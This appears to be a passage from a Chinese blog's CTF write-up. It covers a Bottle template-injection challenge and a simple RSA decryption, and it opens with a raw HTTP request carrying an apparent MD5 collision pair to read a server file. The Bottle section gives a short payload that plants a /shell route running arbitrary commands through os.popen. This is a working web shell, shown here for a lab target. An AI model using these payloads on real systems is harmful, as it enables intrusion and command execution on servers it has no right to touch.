POST /?file=/docker-entrypoint.sh HTTP/1.1
Host: node1.anna.nssctf.cn:28663
Accept-Encoding: gzip, deflate
Referer: http://node1.anna.nssctf.cn:28663/
Origin: http://node1.anna.nssctf.cn:28663
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Priority: u=0, i
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2311

a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

Message in a Bottle

SimpleTemplate 模板引擎 — Bottle 0.13-dev 文档

Bottle 框架的

给了附件📎

from bottle import Bottle, request, template, run


app = Bottle()

# 存储留言的列表
messages = []
def handle_message(message):
    message_items = "".join([f"""
        <div class="message-card">
            <div class="message-content">{msg}</div>
            <small class="message-time">#{idx + 1} - 刚刚</small>
        </div>
    """ for idx, msg in enumerate(message)])

    board = f"""<!DOCTYPE html>
    <html lang="zh">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>简约留言板</title>
        <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
         <style>
            :root {{
                --primary-color: #4a90e2;
                --hover-color: #357abd;
                --background-color: #f8f9fa;
                --card-background: #ffffff;
                --shadow-color: rgba(0, 0, 0, 0.1);
            }}

            body {{
                background: var(--background-color);
                min-height: 100vh;
                padding: 2rem 0;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            }}

            .container {{
                max-width: 800px;
                background: var(--card-background);
                border-radius: 15px;
                box-shadow: 0 4px 6px var(--shadow-color);
                padding: 2rem;
                margin-top: 2rem;
                animation: fadeIn 0.5s ease-in-out;
            }}

            @keyframes fadeIn {{
                from {{ opacity: 0; transform: translateY(20px); }}
                to {{ opacity: 1; transform: translateY(0); }}
            }}

            .message-card {{
                background: var(--card-background);
                border-radius: 10px;
                padding: 1.5rem;
                margin: 1rem 0;
                transition: all 0.3s ease;
                border-left: 4px solid var(--primary-color);
                box-shadow: 0 2px 4px var(--shadow-color);
            }}

            .message-card:hover {{
                transform: translateX(10px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .message-content {{
                font-size: 1.1rem;
                color: #333;
                line-height: 1.6;
                margin-bottom: 0.5rem;
            }}

            .message-time {{
                color: #6c757d;
                font-size: 0.9rem;
                display: block;
                margin-top: 0.5rem;
            }}

            textarea {{
                width: 100%;
                height: 120px;
                padding: 1rem;
                border: 2px solid #e9ecef;
                border-radius: 10px;
                resize: vertical;
                font-size: 1rem;
                transition: border-color 0.3s ease;
            }}

            textarea:focus {{
                border-color: var(--primary-color);
                outline: none;
                box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
            }}

            .btn-custom {{
                background: var(--primary-color);
                color: white;
                padding: 0.8rem 2rem;
                border-radius: 10px;
                border: none;
                transition: all 0.3s ease;
                font-weight: 500;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-custom:hover {{
                background: var(--hover-color);
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            h1 {{
                color: var(--primary-color);
                text-align: center;
                margin-bottom: 2rem;
                font-weight: 600;
                font-size: 2.5rem;
                text-shadow: 2px 2px 4px var(--shadow-color);
            }}

            .btn-danger {{
                transition: all 0.3s ease;
                padding: 0.6rem 1.5rem;
                border-radius: 10px;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-danger:hover {{
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .text-muted {{
                font-style: italic;
                color: #6c757d !important;
            }}

            @media (max-width: 576px) {{
                h1 {{
                    font-size: 2rem;
                }}
                .container {{
                    padding: 1.5rem;
                }}
                .message-card {{
                    padding: 1rem;
                }}
            }}
        </style>
    </head>
    <body>
        <div class="container">
            <div class="d-flex justify-content-between align-items-center mb-4">
                <h1 class="mb-0">📝 简约留言板</h1>
                <a 
                    href="/Clean" 
                    class="btn btn-danger"
                    onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
                >
                    🗑️ 一键清理
                </a>
            </div>

            <form action="/submit" method="post">
                <textarea 
                    name="message" 
                    placeholder="输入payload暴打出题人"
                    required
                ></textarea>
                <div class="d-grid gap-2">
                    <button type="submit" class="btn-custom">发布留言</button>
                </div>
            </form>

            <div class="message-list mt-4">
                <div class="d-flex justify-content-between align-items-center mb-3">
                    <h4 class="mb-0">最新留言({len(message)}条)</h4>
                    {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
                </div>
                {message_items}
            </div>
        </div>
    </body>
    </html>"""
    return board



def waf(message):
    return message.replace("{", "").replace("}", "")


@app.route('/')
def index():
    return template(handle_message(messages))


@app.route('/Clean')
def Clean():
    global messages
    messages = []
    return '<script>window.location.href="/"</script>'

@app.route('/submit', method='POST')
def submit():
    message = waf(request.forms.get('message'))
    messages.append(message)
    return template(handle_message(messages))


if __name__ == '__main__':
    run(app, host='localhost', port=9000)

过滤了 {}

但是 %前面必须是空白符号,那


% from bottle import Bottle,request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('cmd')).read())

访问 shell 命令执行

Cryto

1

from Crypto.Util.number import *

# 已知的值
n = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197846086151042512153782486075793224874304872205720564733574010669935992016367832666397263951446340260962650378484847385424893514879629196181114844346169851383460163815147712907264437435463059397586675769959094397311450861780912636566993749356097243760640620004707428340786147078475120876426087835327094386842765660642186546472260607586011343238080538092580452700406255443887820337778505999803772196923996033929998741437250238302626841957729397241851219567703420968177784088484002831289722211924810899441563382481216744212304879717297444824808184727136770899310815544776369231934774967139834384853322157766059825736075553
phi = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197784246608456057052779643060628984335578973450260519106769911425793594847759982583376628098472390090331415895352869275325656949958242181688663465437185437198392460569653734315961071709533645370007008616755547195108861900432818710027794402838336405197750190466425895582236209479543326147804766393022786785337752319686125574507066082357748118175068545756301823381723776525427724798780890160482013759497102382173931716030992837059880049832065500252713739288235410544982532170147652055063681116147027591678349638753796122845041417275362394757384204924094885233281257928031484806977974575497621444483701792085077113227851520
c = 2675023626005191241628571734421094007494866451142251352071850033504791090546156004348738217761733467156596330653396106482342801412567035848069931148880296036606611571818493841795682186933874790388789734748415540102210757974884805905578650801916130709273985096229857987312816790471330181166965876955546627327549473645830218664078284830699777113214559053294592015697007540297033755845037866295098660371843447432672454589238297647906075964139778749351627739005675106752803394387612753005638224496040203274119150075266870378506841838513636541340104864561937527329845541975189814018246183215952285198950920021711141273569490277643382722047159198943471946774301837440950402563578645113393610924438585345876355654972759318203702572517614743063464534582417760958462550905093489838646250677941813170355212088529993225869303917882372480469839803533981671743959732373159808299457374754090436951368378994871937358645247263240789585351233
e = 65537

# 计算私钥d
d = pow(e, -1, phi)

# 解密消息
m = pow(c, d, n)

# 将数字转换回字节
flag = long_to_bytes(m)

print(flag.decode())

--->

[Running] python -u "g:\down\demo\demo.py"
NSSCTF{W0W!!_Y0u_4r3_g00d_G03!!!}

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计